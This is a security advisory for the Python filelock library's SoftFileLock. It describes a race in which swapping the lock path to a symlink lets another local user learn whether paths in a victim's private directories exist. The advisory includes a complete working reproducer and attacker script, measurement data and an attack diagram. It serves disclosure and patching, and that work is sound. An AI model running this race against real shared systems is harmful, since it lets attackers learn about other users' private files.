Advisory

GHSA-9j6q-wvj5-jgjg

Details, part 2 of 3. The advisory

Details

The scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as victim (uid 1000, 0700 private directory). An existing file or directory of victim: 0 PermissionError. A missing name there gives 311 to 339. A 0444 file of victim: 433 to 460. /etc/passwd or /etc/shadow: 237 to 422. With root taking the lock the answer is plain existence, 0 for /etc/shadow and /root/.bashrc, 366 for a missing name under /root. A symlink alone at the path, without the swap, tells nothing (2 000 Timeout of 2 000 for both targets, then evicted as malformed after 2 s).

Reproduction

The scanner's reproducer for ANT-2026-RQ91AXTW, quoted as received. It ran against commit b831496b0273.

`repro`

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time

VICTIM_JOB = "/tmp/repro.d/victim_job.py"
ATTACKER = "/tmp/repro.d/attacker_swaps_lock_path.py"
private_dir = "/tmp/victim-private"
shared_dir = "/tmp/team-locks"
lock_path = shared_dir + "/app.lock"
as_victim = dict(user="victim", group="victim", extra_groups=[])
as_attacker = dict(user="attacker", group="attacker", extra_groups=[])

assert len(os.sched_getaffinity(0)) >= 2, "the attacker's swap needs a CPU of its own"

# set up: victim's 0700 directory holds "present" and no "absent"
shutil.rmtree(private_dir, ignore_errors=True)
os.mkdir(private_dir, 0o700)
open(private_dir + "/present", "w").close()
shutil.chown(private_dir + "/present", "victim", "victim")
shutil.chown(private_dir, "victim", "victim")

job_ended_with = {}
for name in ("present", "absent"):
    probed_path = f"{private_dir}/{name}"
    attackers_stat = subprocess.run(["stat", probed_path], capture_output=True, text=True, **as_attacker)
    assert attackers_stat.returncode != 0, "attacker can stat the probed path directly"
    print(f"CONTROL  attacker's own look: {attackers_stat.stderr.strip()}")

    # 0777 without the sticky bit: fs.protected_symlinks does not cover it
    shutil.rmtree(shared_dir, ignore_errors=True)
    os.mkdir(shared_dir)
    os.chmod(shared_dir, 0o777)

    # attack: the lock path keeps alternating between a held marker and a symlink to probed_path
    attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)
    deadline = time.monotonic() + 10
    while not os.path.lexists(lock_path):
        assert time.monotonic() < deadline, "attacker did not plant the lock path"
        time.sleep(0.01)

    started = time.monotonic()
    job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)
    waited = time.monotonic() - started
    attacker.kill()
    attacker.wait()

    job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1]  # last line of the traceback
    print(f"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); "
          f"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}")

# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart
timeout_where_present = job_ended_with["present"].startswith("filelock._error.Timeout:")
permission_error_where_absent = job_ended_with["absent"].startswith("PermissionError:")
print("BUG" if timeout_where_present and permission_error_where_absent else "OK")

`repro.d/attacker_swaps_lock_path.py`

#!/usr/bin/env python3
import os
import sys
import time

lock_path, probed_path = sys.argv[1], sys.argv[2]
held_marker = lock_path + ".held"
staged = lock_path + ".staged"

with open(held_marker, "w") as marker:
    marker.write("1\nanother-host\n")  # pid 1 on another host: never judged stale, so the victim keeps polling
# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself
os.chmod(held_marker, 0o466)

give_up_at = time.monotonic() + 60
while time.monotonic() < give_up_at:
    # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker
    os.symlink(probed_path, staged)
    os.replace(staged, lock_path)
    os.link(held_marker, staged)
    os.replace(staged, lock_path)

`repro.d/victim_job.py`

#!/usr/bin/env python3
import sys

from filelock import SoftFileLock

with SoftFileLock(sys.argv[1], timeout=5):
    print("working under the lock")

Attack sequence

sequenceDiagram
    participant A as other account (second CPU)
    participant L as app.lock in a 0777 non-sticky directory
    participant V as lock user: SoftFileLock(path, timeout=5)
    participant P as /home/victim/private (0700)
    A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)
    loop every few microseconds
        A->>L: os.replace(fresh symlink -> /home/victim/private/absent)
        A->>L: os.replace(hard link to the 0466 marker)
    end
    loop every poll_interval (0.05 s)
        V->>L: os.lstat -> regular file, no S_IWUSR
        rect rgb(255, 214, 214)
            V->>L: os.access(path, W_OK) lands on the symlink
            L->>P: resolved to /home/victim/private/absent with the lock user's permissions
            P-->>V: False (missing)
            V->>L: os.lstat -> a node is there
            V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s
        end
    end
    A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)

Evidence

The scanner reproducer runs with victim uid 1000 owning /tmp/victim-private mode 0700 holding present and not absent; attacker uid 1001, no shared group; lock directory /tmp/team-locks root-owned 0777 without the sticky bit; fs.protected_symlinks=1; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied and then OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout .... For the other target it printed CONTROL ... '/tmp/victim-private/absent': Permission denied and OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock', then BUG. The verdict requires the job for present to end in Timeout and the job for absent in PermissionError. In 40 runs a blocking acquire met its first PermissionError after 0.1 to 0.7 s.

In the maintainers' triage the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and checked on macOS that os.access there supports follow_symlinks, relevant to the platform note above.

Impact

A local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a 0700 home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same PermissionError as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early PermissionError is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.

Sources & licences